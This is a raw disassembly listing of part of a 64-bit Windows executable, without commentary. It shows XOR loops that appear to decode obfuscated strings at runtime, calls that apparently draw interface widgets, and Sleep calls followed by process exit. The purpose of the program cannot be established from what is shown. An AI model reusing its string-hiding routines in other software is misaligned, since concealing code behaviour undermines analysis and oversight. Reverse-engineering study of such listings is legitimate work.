psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
andps xmm2, xmm15
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, dword [rsp + 0x70]
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm10
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm9
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm9
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm3, xmm0
andps xmm3, xmm15
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, dword [rsp + 0x70]
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x1400790c0
cmp r8d, 0x1c
jge 0x1400791f0
movsxd r10, r8d
add r10, r9
nop dword [rax + rax]
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r10], al
inc r8d
lea r10, [r10 + 1]
cmp r8d, 0x1c
jl 0x1400791c0
mov r8, r9
lea rdx, [rsp + 0x638]
mov rcx, rbx
call fcn.14005eef0
test al, al
je 0x1400798d8
mov byte [rsp + 0x10d0], 0
lea rdx, [rsp + 0x500]
lea rcx, [rsp + 0x10d0]
call fcn.140079ea0
mov r8, rax
cmp byte [rax + 0x27], 0
je 0x1400798ba
cmp r15d, 2
jl 0x140079344
movdqa xmmword [rsp + 0x70], xmm13
mov rcx, rax
nop dword [rax]
movd xmm2, r14d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm9
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm9
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
andps xmm2, xmm15
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, dword [rsp + 0x70]
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r14 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm10
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm9
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm9
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm3, xmm0
andps xmm3, xmm15
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, dword [rsp + 0x70]
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r14d, 8
lea rcx, [rcx + 8]
cmp r14d, 0x28
jl 0x140079250
jmp 0x1400798ba
mov r9, r8
nop word [rax + rax]
mov eax, 0x5397829d
imul r14d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r14b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r14d
lea r9, [r9 + 1]
cmp r14d, 0x28
jge 0x1400798ba
jmp 0x140079350
test r10d, r10d
jne 0x140078c30
mov rax, qword [rax]
jmp 0x140078c00
movss xmm1, dword [rsp + 0x68]
movss xmm0, dword [rax + 0x80]
subss xmm1, xmm0
mulss xmm1, xmm2
addss xmm1, xmm0
movss dword [rax + 0x80], xmm1
movss xmm1, dword [rsp + 0x6c]
mov rax, qword [0x1406636f8]
subss xmm1, dword [rax + 0x12c]
movss xmm0, dword [rax + 0x80]
subss xmm0, dword [0x1401ff360]
movss dword [rsp + 0x2b8], xmm0
movss dword [rsp + 0x2bc], xmm1
lea rdx, [rsp + 0x2b8]
mov rcx, qword [0x140663710]
call fcn.140011ab0
mov rcx, qword [0x140663710]
call fcn.140011b90
mov dword [rsp + 0x2c0], 0x3f000000
mov dword [rsp + 0x2c4], 0x3f000000
mov dword [rsp + 0x2c8], 0x42480000
mov dword [rsp + 0x2cc], 0x42c80000
lea r9, [rsp + 0x2c0]
lea r8, [rsp + 0x2c8]
lea rdx, [0x1401f987c]
mov rcx, qword [0x140663710]
call fcn.140018420
movaps xmm2, xmm12
movaps xmm1, xmm12
mov rcx, qword [0x140663710]
call fcn.1400118c0
mov dword [rsp + 0x2d0], 0x3ecccccd
mov dword [rsp + 0x2d4], 0x3f000000
mov dword [rsp + 0x2d8], 0x42c80000
mov dword [rsp + 0x2dc], 0x42c80000
lea r9, [rsp + 0x2d0]
lea r8, [rsp + 0x2d8]
lea rdx, [0x1401f9860]
mov rcx, qword [0x140663710]
call fcn.140018420
test al, al
je 0x1400794d4
mov rax, qword [0x1406636f8]
mov byte [rax + 0x128], 1
mov edx, 4
mov rax, qword gs:[0x58]
mov rcx, qword [rax]
mov eax, dword [rdx + rcx]
cmp dword [0x1406637f4], eax
jle 0x140079646
lea rcx, [0x1406637f4]
call fcn.14015d524
cmp dword [0x1406637f4], 0xffffffff
jne 0x140079646
mov rbx, qword [0x1406636f8]
add rbx, 0x98
xor edx, edx
mov rcx, rbx
call fcn.14007a790
mov rcx, rax
call fcn.1400073b0
mov rdx, rax
movss dword [rsp + 0x20], xmm7
xor r9d, r9d
xor r8d, r8d
lea rcx, [rsp + 0x718]
call fcn.14003de30
movss xmm8, dword [rax]
mov rdx, r12
mov rcx, rbx
call fcn.14007a790
mov rcx, rax
call fcn.1400073b0
mov rdx, rax
movss dword [rsp + 0x20], xmm7
xor r9d, r9d
xor r8d, r8d
lea rcx, [rsp + 0x720]
call fcn.14003de30
movss xmm7, dword [rax]
mov edx, 2
mov rcx, rbx
call fcn.14007a790
mov rcx, rax
call fcn.1400073b0
mov rdx, rax
movss xmm0, dword [0x1401ff3bc]
movss dword [rsp + 0x20], xmm0
xor r9d, r9d
xor r8d, r8d
lea rcx, [rsp + 0x728]
call fcn.14003de30
movss xmm6, dword [rax]
mov edx, 3
mov rcx, rbx
call fcn.14007a790
mov rcx, rax
call fcn.1400073b0
mov rdx, rax
movss xmm0, dword [0x1401ff3bc]
movss dword [rsp + 0x20], xmm0
xor r9d, r9d
xor r8d, r8d
lea rcx, [rsp + 0x7a8]
call fcn.14003de30
addss xmm8, dword [0x1401ff340]
addss xmm8, xmm7
movss xmm7, dword [0x1401ff340]
addss xmm8, xmm7
addss xmm8, xmm6
addss xmm8, xmm7
addss xmm8, dword [rax]
addss xmm8, xmm7
movss dword [0x1406637f0], xmm8
lea rcx, [0x1406637f4]
call fcn.14015d4b8
movss xmm8, dword [0x1401ff23c]
jmp 0x14007964e
movss xmm7, dword [0x1401ff340]
movss xmm1, dword [rsp + 0x6c]
mov rax, qword [0x1406636f8]
addss xmm1, dword [rax + 0x12c]
mov rax, qword [0x140663708]
movss xmm0, dword [rax]
subss xmm0, dword [0x1406637f0]
mulss xmm0, xmm8
movss dword [rsp + 0x2e0], xmm0
movss dword [rsp + 0x2e4], xmm1
lea rdx, [rsp + 0x2e0]
mov rcx, qword [0x140663710]
call fcn.140011ab0
mov esi, r14d
mov rcx, qword [0x1406636f8]
mov rax, qword [rcx + 0xa0]
sub rax, qword [rcx + 0x98]
sar rax, 5
test rax, rax
je 0x1400797b3
mov rdi, r14
movss xmm10, dword [0x1401ff3bc]
shl rdi, 5
mov rcx, qword [rcx + 0x98]
add rcx, rdi
call fcn.1400073b0
mov rdx, rax
movss dword [rsp + 0x20], xmm10
xor r9d, r9d
xor r8d, r8d
lea rcx, [rsp + 0x328]
call fcn.14003de30
movss xmm0, dword [rax]
addss xmm0, xmm7
movss dword [rsp + 0x2e8], xmm0
mov dword [rsp + 0x2ec], 0x42c80000
mov rax, qword [0x1406636f8]
lea rbx, [rax + 0x150]
mov rcx, qword [rax + 0x98]
add rcx, rdi
call fcn.1400073b0
lea rcx, [rsp + 0x2e8]
mov qword [rsp + 0x20], rcx
mov r9, rbx
mov r8d, esi
mov rdx, rax
mov rcx, qword [0x140663710]
call fcn.140017bf0
test al, al
je 0x14007976f
mov rax, qword [0x1406636f8]
mov byte [rax + 0x128], 0
movaps xmm2, xmm12
movaps xmm1, xmm12
mov rcx, qword [0x140663710]
call fcn.1400118c0
inc esi
mov rcx, qword [0x1406636f8]
movsxd rdi, esi
mov rax, qword [rcx + 0xa0]
sub rax, qword [rcx + 0x98]
sar rax, 5
cmp rdi, rax
jb 0x1400796d2
movdqa xmm10, xmmword [0x1401ff610]
mov rcx, qword [0x140663710]
call fcn.140011cd0
movups xmm0, xmmword [0x140663548]
movaps xmmword [rsp + 0x80], xmm0
mov r9, qword [0x140663708]
lea r8, [rsp + 0x80]
mov rdx, qword [0x140663540]
mov rcx, qword [0x140663710]
call fcn.140019270
call fcn.140043150
call fcn.14003d970
xorps xmm0, xmm0
movups xmmword [rsp + 0x798], xmm0
mov rcx, qword [0x140663648]
mov rax, qword [rcx]
xor r9d, r9d
lea r8, [0x140663630]
mov edx, r12d
call qword [rax + 0x108]
mov rcx, qword [0x140663648]
mov rax, qword [rcx]
lea r8, [rsp + 0x798]
mov rdx, qword [0x140663630]
call qword [rax + 0x190]
call fcn.14003ad90
mov rcx, rax
call fcn.140001e70
mov rcx, qword [0x140663638]
mov rax, qword [rcx]
xor r8d, r8d
mov edx, r12d
call qword [rax + 0x40]
jmp 0x140071f19
mov rdx, r8
lea rcx, [rsp + 0xd0]
call fcn.140061cc0
nop
lea rdx, [rsp + 0xd0]
mov ecx, 2
call fcn.140022a20
nop
lea rcx, [rsp + 0xd0]
call fcn.140061ca0
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.140034440
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call fcn.14017ff54
nop
mov rdx, r8
lea rcx, [0x140662020]
call fcn.14001cf60
lea rdx, [fcn.140034d80]
mov rcx, rax
call fcn.140034d00
mov byte [rsp + 0x10d0], 0
lea rdx, [rsp + 0xf0]
lea rcx, [rsp + 0x10d0]
call fcn.140079f90
movzx ecx, word [rax + 0x14]
test cx, cx
je 0x140079937
xor word [rax], 0x38
xor word [rax + 2], 0x39
xor word [rax + 4], 0x3a
xor word [rax + 6], 0x3b
xor word [rax + 8], 0x3c
xor word [rax + 0xa], 0x3d
xor word [rax + 0xc], 0x3e
xor word [rax + 0xe], 0x3f
xor word [rax + 0x10], 0x40
xor word [rax + 0x12], 0x41
xor cx, 0x42
mov word [rax + 0x14], cx
mov rdx, rax
lea rcx, [rsp + 0xd0]
call fcn.140061cc0
nop
lea rdx, [rsp + 0xd0]
mov ecx, 2
call fcn.140022a20
nop
lea rcx, [rsp + 0xd0]
call fcn.140061ca0
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.140034440
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call fcn.14017ff54
nop
xor ecx, ecx
call fcn.14017ff54
int3